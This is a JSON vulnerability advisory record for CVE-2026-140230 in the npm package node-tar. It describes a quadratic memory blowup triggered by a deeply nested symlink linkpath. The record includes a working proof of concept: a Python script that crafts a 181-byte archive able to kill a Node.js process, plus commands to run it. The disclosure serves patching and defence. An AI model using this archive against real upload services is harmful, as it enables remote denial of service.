{"id":"CVE-2026-140230","aliases":["GHSA-xm6h-2993-3ch9"],"url":"https://o3.security/vulnerability/CVE-2026-140230","summary":"node-tar PathReservations.getDirs() quadratic memory amplification via unbounded symlink linkpath depth — uncatchable OOM process kill","details":"### Summary\n\nnode-tar's PathReservations.getDirs() materializes every parent-directory prefix of a given path as individual strings — an O(N²) operation. The existing maxDepth guard applies only to entry.path, not to entry.linkpath. A crafted archive with a shallow entry.path and a deeply-nested linkpath bypasses the guard entirely, forcing a catastrophic heap allocation. The resulting V8 OOM is uncatchable — try/catch, Promise .catch(), and process.on('uncaughtException') all fail to intercept it. A 181-byte gzip archive is sufficient to instantly kill any Node.js process attempting extraction.\n\n### Details\n\nROOT CAUSE\n\nnode-tar enforces a maxDepth=1024 segment cap on entry.path via its CHECKPATH routine. This guard is entirely absent for entry.linkpath — the target path of a symlink entry. PathReservations.reserve() unconditionally pushes entry.linkpath into its path list without any depth validation.\n\ngetDirs() then materializes every parent-directory prefix of that path as individual JavaScript strings. For a linkpath with N segments this produces N strings of average length N/2, totaling O(N²) memory. A linkpath with 10000 segments causes instant catastrophic heap exhaustion.\n\nThe GNU K (LongLink) extended-header mechanism allows a linkpath up to 1 MiB, roughly 524000 segments, which theoretically yields a ~275 GB memory allocation target.\n\nAFFECTED CODE\n\nsrc/path-reservations.ts — getDirs() function\nsrc/path-reservations.ts — reserve() function (no depth check before pushing linkpath)\nThe CHECKPATH routine in extract handling — only validates entry.path, not entry.linkpath\n\nATTACK VECTOR\n\n1. Craft a tar archive with a GNU K LongLink record that sets linkpath to N segments deep (a/a/a/.../x)\n2. Keep entry.path shallow (e.g. \"ln\") so the maxDepth guard passes\n3. Compress with gzip — 10000-segment archive compresses to 181 bytes\n4. Send to any service accepting .tar or .tar.gz uploads\n\nTHE UNCATCHABLE FAILURE MODE\n\nThe OOM occurs during PathReservations processing, before any filesystem syscall. V8 heap exhaustion at this stage cannot be intercepted by any JavaScript error handler. The process aborts with FATAL ERROR: Reached heap limit Allocation failed — JavaScript heap out of memory. No graceful recovery is possible.\n\nVERIFIED RESULTS (Termux, Node.js v24.18.0, tar 7.5.22)\n\nN=2000: 114MB heap, extracts normally\nN=5000 (12KB archive): 673MB heap, 3.9 seconds, ~55000x memory amplification\nN=10000 (22KB archive): instant fatal OOM, process aborted\n181-byte kill.tar.gz: identical fatal OOM, process aborted\n\nTerminal output from N=5000 run:\n{\"outcome\":\"rejected\",\"ms\":6372.3,\"rssMB\":795.3,\"heapMB\":673.5,\"error\":\"ENOENT: Cannot cd into out1\"}\n\nDISTINCTION FROM PRIOR CVEs\n\nCVE-2026-73566 (mapHas recursion): required the files option, exploited stack overflow in mapHas. This finding requires no options, targets getDirs, exploits heap exhaustion.\nCVE-2026-23950 (Unicode race): entirely different class.\nCVE-2026-59873 (Gzip Bomb): CWE-770, output size consumes disk. This finding exploits linkpath depth consuming heap memory during validation. A decompression output cap would not mitigate this.\n\nSUGGESTED FIX\n\nExtend the existing maxDepth check to cover entry.linkpath in the CHECKPATH routine. Additionally, PathReservations.reserve() should reject any path with an excessive segment count before it enters getDirs().\n\n### Proof of concept\n\nSETUP\n\n```\nmkdir node-tar-poc && cd node-tar-poc\nnpm init -y && npm install tar@7.5.22\n```\n\nSTEP 1 — Save craft-deep-linkpath.py\n\n```\nimport sys\n\nBLOCK = 512\n\ndef ustar(name, typeflag, size, linkname=b''):\n    h = bytearray(BLOCK)\n    h[0:len(name)] = name\n    h[100:108] = b'0000777\\x00'\n    h[124:136] = ('%011o' % size).encode() + b'\\x00'\n    h[136:148] = b'00000000000\\x00'\n    h[148:156] = b'        '\n    h[156:157] = typeflag\n    h[157:157+len(linkname)] = linkname\n    h[257:263] = b'ustar\\x00'\n    h[263:265] = b'00'\n    chksum = sum(h)\n    h[148:156] = ('%06o' % chksum).encode() + b'\\x00 '\n    return bytes(h)\n\ndef pad(data):\n    if len(data) % BLOCK == 0:\n        return data\n    return data + b'\\x00' * (BLOCK - (len(data) % BLOCK))\n\nsegments, out = int(sys.argv[1]), sys.argv[2]\ndeep_link = (b'a/' * segments) + b'x'\nk_header = ustar(b'././@LongLink', b'K', len(deep_link))\nwith open(out, 'wb') as fp:\n    fp.write(k_header)\n    fp.write(pad(deep_link))\n    fp.write(ustar(b'ln', b'2', 0, linkname=b'PLACE'))\n    fp.write(b'\\x00' * (BLOCK * 2))\nprint('wrote', out)\n```\n\nSTEP 2 — Save extract.js\n\n```\nconst tar = require('tar')\nconst file = process.argv[2]\nconst cwd = process.argv[3]\nconst t0 = process.hrtime.bigint()\n\nfunction report(outcome, extra) {\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6\n  console.log(JSON.stringify({ outcome, ms: +ms.toFixed(1),\n    rssMB: +(process.memoryUsage().rss/1048576).toFixed(1),\n    heapMB: +(process.memoryUsage().heapUsed/1048576).toFixed(1), ...extra }))\n}\n\ntar.x({ file, cwd }).then(\n  () => { report('ok'); process.exit(0) },\n  er => { report('rejected', { error: String(er && er.message).slice(0,80) }); process.exit(0) }\n)\n\nprocess.on('uncaughtException', er => {\n  report('uncaughtException', { error: String(er && er.message).slice(0,80) })\n  process.exit(1)\n})\n```\n\nSTEP 3 — Generate archives and run\n\n```\npython3 craft-deep-linkpath.py 5000 sub.tar\npython3 craft-deep-linkpath.py 10000 kill.tar\ngzip -k -9 kill.tar\n```\nDemo 1 — amplification (safe, shows O(N2) memory growth):\n`node extract.js sub.tar out1`\n\nDemo 2 — fatal OOM:\n`node --max-old-space-size=256 extract.js kill.tar out2`\n\nDemo 3 — 181-byte gzip kill:\n`node --max-old-space-size=256 extract.js kill.tar.gz out3`\n\n\nEXPECTED OUTPUT\n\nDemo 1: `{\"outcome\":\"rejected\",\"rssMB\":795,\"heapMB\":673,\"error\":\"ENOENT...\"}`\nDemo 2: `FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory — Aborted`\nDemo 3: `identical fatal abort from 181-byte file`\n\n### Impact\n\nRemote unauthenticated denial of service against any Node.js service accepting .tar or .tar.gz uploads. A 181-byte crafted file kills the entire process with no possibility of graceful recovery — try/catch, Promise rejection handlers, and uncaughtException all fail to intercept the V8 heap exhaustion. node-tar is the extraction engine behind npm install, making the affected surface extremely broad.","published":"2026-12-01T16:52:03.165Z","modified":"2026-12-02T21:01:15.691537270Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"tar","fixedVersion":"8.0.0"}],"fix":{"url":"https://github.com/isaacs/node-tar/commit/73b352e0010d6c99794ea7374800816a46d3bdb2","label":"isaacs/node-tar@73b352e"},"references":[{"type":"WEB","url":"https://github.com/isaacs/node-tar/releases/tag/v8.0.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/140xxx/CVE-2026-140230.json"},{"type":"ADVISORY","url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-xm6h-2993-3ch9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140230"},{"type":"FIX","url":"https://github.com/isaacs/node-tar/commit/73b352e0010d6c99794ea7374800816a46d3bdb2"},{"type":"PACKAGE","url":"https://github.com/isaacs/node-tar"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-12-02T21:01:15.691537270Z"}}